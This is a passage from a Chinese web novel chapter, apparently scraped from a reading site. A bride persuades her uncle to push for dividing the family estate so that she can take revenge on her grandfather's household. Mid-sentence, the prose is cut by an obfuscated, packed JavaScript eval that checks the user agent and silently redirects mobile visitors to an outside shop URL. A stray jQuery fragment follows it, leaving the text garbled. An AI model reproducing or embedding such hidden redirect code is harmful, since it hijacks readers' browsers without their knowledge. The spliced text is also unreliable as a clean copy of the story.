秋语若笑着接过来,却又回手塞进她嘴里,道:“我在养胃,吃不了甜食,等养好胃了我再吃。”
同行的看她们姑嫂相亲相爱的,彼此对视一眼,然后都替苏家长房感到高兴。
秋语若心里哼着歌,午时之前就领着两个妹妹回到家。
直接把篮子递给苏云澈,说了一句:“里面有给你的糖,自己拿着吃。”就去洗手了。
洗完手第一件事是看苏云廷的情况,苏云廷自然是没什么变化的。
室外这会温度也高了,秋语若又招呼着两人把苏云廷抬回屋里去。
苏云澈嘴里含着糖,耳边是秋语若的说话声,不用操心兄长的护理,也不用担心姐妹出门。
他就按着秋语若的指派,让做什么就做什么,不但吃到了很久没吃过的糖,中午还吃到了从没吃过的美味。
……
秋三叔因为给秋语若置办了嫁妆,秋语若出嫁时他也很是风光了一把。
接秋语若回门,他自然是表现的积极的很,一早就套好了家里的牛车,吃过早饭,就在村里人出门上工的时候,他驾着牛车,去接秋语若回门了。
一路应着夸赞出了村,到苏家庄的时候,王婶来给秋语若送活鸡还没回去。
秋语若见秋三叔来了,就一副期盼很久惊喜非常的样子,赶紧问渴不渴饿不饿。
幸好这两天秋三叔被人恭维的,已经自我洗脑出他们原本就是非常亲近的叔侄关系,而不是住在一个院子里,三两个月说不上一句话的叔侄关系。
面对秋语若的热情,秋三叔接受良好,“你婶子盼着你早点回去,早饭都比平时做的早,吃过早饭就催着我来了。”
秋语若就说:“我也想三婶了。”
说完又让云澈三人过来,让他们认亲喊人。
两天的时间,云澈姐弟妹三人已经被秋语若收服,个个老老实实的叫了声三叔。
秋三叔应了,说了句:“都是好孩子。”
见院子里还有一个面善的妇人,仁义三叔迅速上线,对秋语若说:“语若啊,你嫁过来就是他们的长嫂,以后这三个孩子可就靠你了!”
人生如戏,全靠演技,秋语若也是有些演技在身上的:“三叔放心,我不会给爷爷和你丢人的。”
王婶亲眼见到这样的仁义场面,心里感动的不行,把秋三叔和秋语若挨个夸了一遍,这才接了秋语若给的钱,心满意足的走了。
王婶出去了,场面有一瞬间的尴尬。
好在秋三叔是个机灵的,直接问秋语若:“云廷呢,他这两天还好吧?”
秋语若:“云廷在屋里,这两天挺好的。”
说完就让云澈他们把东西收拾好,在院子里等一会,自己带着秋三叔进了屋。
今天家里只留苏静姝在家,所以秋语若就没给苏云廷换地方,让他依然在床上躺着,这样二妹让他翻身吃饭也容易一些。
秋三叔看着躺在床上的人,虽然模样挺英俊的,但是要让他夸奖点什么,还真说不出口。
因为这两天脑补的和秋语若的亲近,秋三叔在心里埋怨了一声老头子为了面子坑害自家孩子,又骂了一句秋老大不做人,原本该他闺女嫁过来,却欺负老二死了让语若过来受苦。
秋语若看他表情,反倒安慰他:“其实嫁过来也挺好的,上面没有长辈压制,我自己当家做主,也不会受夫君的气,只要把弟弟妹妹养大,以后老了也有人管。”
她说的平静,秋三叔却鼻子一酸,他虽然有点懒,有点小算计,但是并不是什么泯灭人性的人,看到花骨朵一样侄女,以后要熬活寡过着一眼就能看到头的日子,他心里更难受了。
这会心里难受的,何止秋三叔,还有意识清醒的苏云廷。
这两天,只要他意识清醒着,想的最多的是秋语若,留意最多的是秋语若,就连接触最多的也是秋语若。
因为他晚上意识清醒的时候,身边就只有她。
他发现,白天的她是一个可以给弟弟妹妹依靠的长嫂,而晚上的她,是一个活泼而又孤独的小女孩。
她的活泼只有自己知道,她的孤独,也只告诉了自己。
现在,自己还没有完全盛开的女孩,却说出了带着沧桑感的话,苏云廷心里又怎么会不难受。
反倒是秋语若,她早就想开了,正准备在这个时代大展身手改变生活,若是现在给她换一个能动能跳的正常夫君,她心里还不愿意呢!
毕竟能动能跳的男人,自己不但得伺候他,还得忍受他的大男子主义,事事以他为主,还不能比他强。
那样的男人,哪有只负责躺在床上美美的,不给自己捣一点乱的男人好。
秋语若让云澈他们三个在外面,是有话要单独对三叔说,见他难受只安慰了一句,就翻过去不再提了。
现在人也看了,秋语若就请他去外间说话。
现在这个季节,内外间的门用的是半截薄门帘,苏云廷就听到自己的姑娘在外间,跟秋三叔说的话。
她先说了昨天出门被人问曾经绝食的事,然后把她自己是怎么应对的,还有在镇上其她人劝她以后不和秋老大亲近的话都说了。
秋三叔听秋语若也宣扬自己给她置办嫁妆的事,心里自然是高兴的,继续仁义道:“你是你爹留下的唯一血脉,我这个当叔叔的做不了你婚事的主,只能尽力给你置办些东西,免得嫁过来被人看不起。”
秋语若:三叔没听懂,那就说明白点。
“我心里自然是感念三叔三婶的,只是想到我的遭遇,就会忍不住为你们担心。
这里只有咱们叔侄俩,我说句心里话,爷爷满心满眼都是大伯一家子,这次大伯家的事,爷爷把我推出来为大伯平事,那如果他下一次再有事呢?”
秋三叔心里一个机灵:当然是推出自己这一房来给他们的宝贝疙瘩平事!
秋语若继续:“三叔应该知道,我娘是识字的。”
秋三叔点头,这个他当然知道,自家有一百多亩地,日子过的宽裕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282483|151898||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如果不是二嫂识字,老爷子是不可能和那么穷的人家结亲的。
秋语若:“就连女子说亲,识字就是一大优势,咱们家我大伯读了那么多年书,除了带着他家全成读书,您家的二生和三良他教过么?”
秋三叔:“三良还小,二生以前和你大伯学过,只是那孩子贪玩,你大伯说他不是读书的料……”
说到这里,秋三叔突然顿住了。
秋语若把想要往上翘的嘴角压了下去,“我小时候也贪玩,但是我娘还是压着我把字都认全了,二生兄弟三五岁的时候贪玩,可是现在早就稳当了……”
秋三叔听着,气的呼吸都变得粗重了,真是自己的好大哥,教他儿子读书识字,却说自己的儿子不是读书的料。
他这是想着,家里只能供得起一个人读书,他如果一直考不上,下一辈只有他自己的儿子识字,家里当然是继续供他儿子读书!
秋三叔气坏了,秋语若就放心了。
只生气还不行啊,还得给他指条路,“爷爷三个儿子,我爹去的早,连我兄弟都一起带走了,幸好三叔有两个儿子,要不然你们兄弟三个房头,就有一房没香火了!”
秋三叔抬头,和秋语若视线相对。
把儿子过继一个给二哥么,这样自家分的家业就能翻倍,只是过继得改口,自己倒是没什么,媳妇恐怕不太愿意。
秋语若也不会做那拆散人家母子的人,“我爹虽虽然去的早,也是上了族谱有家族供奉的,只是我弟弟也跟着去了,我爹每到周年不都是亲侄子的事么。”
秋三叔这次明白了,秋语若的意思是,不用过继,自家儿子只需要二哥周年的时候,给他上个供就行。
其实族里也多有这样的,不过那都是他自己绝了户父辈也没有亲兄弟,远房的侄子给发葬了,就能继承他的房地。
秋三叔心动不已,只是:“你大伯那里恐怕不会答应。”
秋语若看他:“村里人都说爷爷最讲信义,这次我出嫁,不是也让村里人看到了你的仁义么。
有些事,抓住机会了,不可能也能变成可能的。”
秋三叔心如擂鼓,他从未想过,和老大之间,家里的东西自己还能比他得的多!
曾经不可能的事,现在想想,也不是没有可能。
秋语若看着他陷于沉思,慢慢露出笑容。
苏云廷在意识中也笑了,她这是引诱秋三叔回家闹分家呢。
秋语若就是在引诱秋三叔回家闹分家,就是要让秋老头家宅不宁,让秋老大再也过不上吃香的喝辣的的日子。
她在秋家闹绝食的时候,不止一次的想着报复他们的各种方法。
她嫁到苏家,看起来还不错,虽然她自己也确实觉得不错,但是这种不错,是自己调整心态并且对以后有了计划才显得不错,并不是这门亲事就是好亲事。
他们的逼迫,让自己面临过生死,这是已经发生的事实。
有些人,必须要为做过的事付出代价才行。